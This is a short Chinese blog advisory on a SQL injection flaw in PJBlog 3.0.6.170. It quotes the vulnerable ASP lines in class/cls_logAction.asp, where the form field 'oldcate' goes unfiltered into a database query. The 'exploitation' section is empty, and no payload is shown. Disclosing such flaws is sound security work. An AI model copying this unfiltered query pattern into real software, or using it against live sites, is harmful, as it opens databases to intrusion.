鬼仔's Blog

影响版本:PJBlog 3.0.6.170
程序介绍:
PJBlog一套开源免费的中文个人博客系统程序，采用asp+Access的技术，具有相当高的运作效能以及更新率，也支持目前Blog所使用的新技术。

漏洞分析:
在文件class/cls_logAction.asp中：

oldcate=request.form("oldcate")  //第429行
oldctype=request.form("oldtype")

D = conn.execute("select cate_Part from blog_Category where  cate_ID="&oldcate)(0)

程序没有对变量oldcate做任何过滤放入sql查询语句中，导致注入漏洞的产生。

漏洞利用:
